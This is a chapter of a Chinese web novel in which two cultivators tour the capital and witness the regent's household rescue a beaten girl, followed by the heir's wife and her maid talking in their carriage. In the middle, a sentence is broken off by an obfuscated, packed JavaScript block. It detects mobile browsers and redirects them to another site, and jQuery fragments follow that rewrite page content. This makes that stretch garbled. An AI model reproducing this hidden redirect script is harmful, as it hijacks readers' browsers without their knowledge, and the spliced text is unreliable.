“哇,凡人竟然吃棉花吗!”
林蓁蓁看一眼正被小孩包围着的摊位“...那是做成了棉花样子的糖。”
“咦,那个符师怎那般光明正大,他不怕天道降罚的吗?”
林蓁蓁看一眼正拉着某位贵公子的手掌努力推销除灾符的假老道“...那是骗子。”
自进了皇城起,鬼灵枢便一直是这么副看什么都稀奇的模样。
土生土长的修士未曾见过凡人为谋生所施展的千奇百怪的各样手段,活脱脱一副“仙巴佬”的神情,遇到什么都忍不住要惊呼出声。
直惹得不少擦身而过的行人都对二人投来了奇怪的视线。
林蓁蓁毫不费力的看懂过了那些眼神中所蕴含的深意:“哪里来的土包子,真是失礼。”
直让脱离了凡间三年多的林蓁蓁颇觉脸热,无语到有些牙痒。
若非此时身在闹市之中,她真想干脆一把将身边人的碎嘴掐起来...
这鬼大小姐,明显不知她的外貌本就已经足够惹眼,此时再加上这般行径。
幸运的,撑死被人暗骂一声“言行无状”。
但这皇城天子脚下,贵者贵极的同时,也意味着晦者晦极。
明面上有多少繁荣,背地里就有多少见不得人的勾当。
二人不过才刚进城一会儿,她就已察觉到了不少暗处里投射来的异样视线。
就像骡马市上正接受评估的牲口般。
还真是令人不适...又有些怀念。
嘴角不由勾起一抹冷笑。
而跟在她身后的鬼灵枢依旧毫无所觉,只自顾自的欣赏着眼前新奇的一切。
“咦,那里好热闹,是在唱戏吗?”
直到路过某家铺子的侧门处,一群家丁样装扮的人围做一团,凶神恶煞的对着正中蜷缩成一小团的人影拳打脚踢。
鬼灵枢第一时间捕捉到关键点,“人群”、“热闹”、“冲突”。
与方才路过的,热闹的紧的高台一样。
“这个我知道,是在唱戏!”
她微微扬起下巴,对自己成功学到新的知识很是自豪。
不出意料的,自然也就从林蓁蓁那收获到一记白眼。
“***的臭丫头,我们主子看上你是你的福分,还敢不从。”
“**,装的什么冰清玉洁。”
“别当爷们不知道你家姐姐是做什么的。”
“你最好听爷句劝,别敬酒不吃吃罚酒!”
几句话的功夫,那头的家丁们似打的有些累,已停了手。
而地上人也明显已是出气比进气多的模样。
咒骂声却依旧不愿放过她。
这下不用林蓁蓁解释,鬼灵枢也看懂了。
漂亮的眉头立时一皱,神情骤然变冷,她下意识就往前迈了步。
“你拉我干嘛?”
却被林蓁蓁一把拽住,只能不悦地回头问她。
但对方却并未做出回答。
甚至,连看都不曾看她一眼,只直勾勾的望着前方,不发一言。
鬼灵枢疑惑的顺着她的视线去看。
只见那伙人身后,不知何时停下了一辆十分奢华的马车。
衣着光鲜的女子很快出现在众人视线之中,疾言厉色道:
“大胆!是何人在此造次,竟敢拦我家夫人的马车!”
她神态骄横,动作轻巧而又迅速,此时正站在那车马前一手叉腰一手指着眼前武力值明显比她要强上不少的家丁,眼神却像是在打量一群蝼蚁。
来者的身份,显然尊贵。
但敢有恃无恐的当街打人者,又怎会是什么毫无背景之人?
于是局面就这么两相对立了起来。
按照常理,最终无非也是位卑者让步。
而放眼整个皇都,在身份上,能比自家主子尊贵的,那些家丁还真一时想不出几个。
是以立马便有人跳出来,张嘴想要驳斥那不知天高地厚的侍女。
只嘴才张了一半,却见自家领头的却突然软了身段,对着那马车中始终未曾露面的贵人躬身赔笑道:“嗨,原来是夫人,小的该死,小的该死。”
“都赖小的不长眼。”
“小的这就走,这就走。”
说着便挥手示意手下去拖地上那人,显然是准备将人先带到别处去。
“慢着。”却不想手还没碰到那人衣角,柔婉,却贵气非常的女声自马车那名贵的绒布门帘后传来。就那么轻飘飘的,声音还没有那骄横侍女的一半大,却带着足够的压迫感。
那是只有习惯了发号施令的上位者才会有的气场。
领头的家丁顿时心头一颤。
低垂的眼眸里划过一丝隐晦的烦躁。
但再抬头,那里面又看的见恭敬,与讨好。
这是...什么情况?
林蓁蓁疑惑的偏头。
眼前事态的发展变的太快,让她一下有些跟不上。
不过好在周围的议论声并未让她疑惑太久。
“啧啧,那丫头还真是命好,竟遇上了摄政王府的世子妃。”
“可不?自今上登基,摄政王已称得上一人之下万人之上了,他家的世子妃,谁敢招惹?”
“也不知这伙人是哪家府上的,今日冲撞了摄政王府上,也不知事后会不会被报复。”
“嗨,你这人,人家权贵的事情,你个平头老百姓操心个什么劲儿...”
竟是...摄政王吗。
鬼灵枢热闹正看的起劲,却突觉不对,转头刚好看到身旁一向都十分沉稳的人竟也难得有些变了脸色。
于是她轻轻开口询问“蓁蓁,你怎么...”
却在视线交汇的瞬间被那双本该永远平和的眼中瞬间迸发出的恶意灼伤。
即便那令人心惊的情绪不过眨眼就已消失无踪,快到令人不由怀疑起方才的一幕是不是自己的错觉。
但鬼灵枢坚信自己并没有看错。
因为即便眼睛骗得了人,但手心里指甲深深陷入肉里留下的痕迹却无法被完全掩藏。
一场闹剧。
很快便就这样结束在了权贵与权贵的碰撞之中。
摄政王世子妃开口,自然成功救下了那道满脸黑灰的瘦小身影。
那些本奉命来拿人的家丁即便再不甘心,却也知在大庭广众之下得罪眼前人并不明智。
即便...此番抓这丫头,主人本就是准备要暗中赠与王世子。
可他们的打算终究也只是“暗中”。
这世子妃素有声名在外,也并非是什么可以任他们揉圆搓扁的面团子。
最终便只能灰溜溜的撤走。
只留原地一阵对那车中人的赞扬。
“真不愧是摄政王家得世子妃呀。”
“可不?我听说每遇荒年,人家世子妃还会亲自施粥哩。”
“要我说呀,这江家小姐也真是个有福有运的。想当年江大将军出事,京中谁人不避着江家走。但人家摄政王行事就很仗义了,又是一力相保,又是为护江家血脉第一时间替自家儿子定了江家小姐做正妻,不然这江家人怕是早已不知沦落到何种地步了。”
也正是因着这些事,摄政王这些年在民间的声望可谓愈发水涨船高。
就好像江家世代先祖以命拼杀出的功绩,也随着江小姐一同嫁进了摄政王府。
“所以说,人还是得多行好事,必可得福报。”
“是呀。比如那神秘的遥江仙,好事做多了不也得了福报,从一小小商贩,发展到如今,据说已是咱们京中首富了。”
“是吗?”
...
丫鬟碧珠安排好方才救下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365611|199823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的那可怜女子之后,入耳的便是这些话语。
但那张白皙的小脸上却丝毫不见被夸赞后的喜悦。
反倒只是皱了皱眉,几不可察的撅起了小嘴。
只回到马车里的动作因心头的不岔而实在忍不住重了几分,直惹得车架都跟着重重晃了几晃。
衣着并不华丽,却不管从布料还是细节上都无一处不透着矜贵的女子梳着待嫁女才会梳的发髻,本正在闭目养神,却突然被这动静惊扰,晃了下身形。
睁眼见自家小丫鬟这般模样不无好笑的开口询问。
“这是什么人,又惹了咱们碧珠姑娘了?”
“小姐!”惹得小丫头气急,对自家小姐投去幽怨的视线。
又在看到对方似笑非笑的表情之后,恼怒的环手背过了身去,嘴里嘟嘟囔囔的抱怨:“小姐明知我在气什么。”
“真是群愚民。好事分明都是小姐做的,却只知夸赞王府。”
“可若不是小姐,他摄政王府又怎会有如今?”
“什么救灾施粥,照抚兵士家眷的,哪一样不是小姐自掏腰包。”
“怎的到了他们嘴里,就成了多亏小姐嫁进摄政王府了...”
碧珠不说还好,一说便越来越气,连语气都不自觉凌厉了起来。
“怎么没人说要不是少爷和老爷...”直到提起过世多年的大将军,与如今远在边关的少爷。
意识到自己的失言。
本如连珠炮一般的碧珠终于止住了嘴里的慷慨激昂,慌乱的抬手捂住自己的嘴,小心翼翼的去打量自家小姐的神情。
却只收到个略有些惨然,却依旧柔和的笑。
“无事,不必介怀。”
可小姐这般宽厚体谅的模样,却是比直白的责备还要更令碧珠感到难过。
下意识咬唇。
“唔——”一声略有些走音的呜咽自她喉间发出。
“小姐——”情绪上头。
以至于碧珠说出的话音令江瑶莫名想起了儿时同兄长偷跑出府时见过的那些,在河边吊着嗓子练声的戏班子艺人。
面上的笑不由真了几分。
这傻丫头,还是这般孩子气。
不由伸手摸了摸她的发顶。
但江瑶其实已经忘了自己也不过才二十有五,只比自己眼前的丫鬟大了三岁而已。
不过一遭突逢家中巨变,才叫她时常忍不住生出些怅然如老妪的心态来。
碧珠却显然也顾不得这许多。
被小姐这么一摸脑袋,反倒更是悲从中来,抱着江瑶的胳膊便是一顿压抑的痛哭。
以至于稍晚些回到府中时,不少下人远远看到她通红的眼,都止不住猜测世子妃是否终于受不了这聒噪的丫头狠狠惩罚了她一顿。
“你瞧,我就说比起碧珠,世子妃其实更喜欢红玉吧?”
“这不,红玉姐姐才刚被罚出去几天啊,她就犯了错了。”
“所以...”窃窃私语的二等丫鬟眼底逐渐燃起野心,慢慢退出人群。
既如此,世子妃身边出现了空缺。
她们这些低等些的丫鬟机会这不就来了?
那可是每月都能足足多出一两银得肥差呀!
这么想着。
手中沉重得托盘都似突然变轻了不少。
“蓁蓁,这几个人刚才不是还看起来很累得样子吗?怎么听了会儿别人聊天就突然有劲儿啦?”无人注意得屋顶上,两道身影借着符篆得掩盖,在摄政王府得屋舍房顶之间流窜如入无人之境。
听到身边人的询问,林蓁蓁头也不回的应付道:
“八卦治百病。”
鬼灵枢恍然大悟。
原来如此。
原来凡人的伤病只需要一些八卦就能好起来。
真是神奇的方法。
-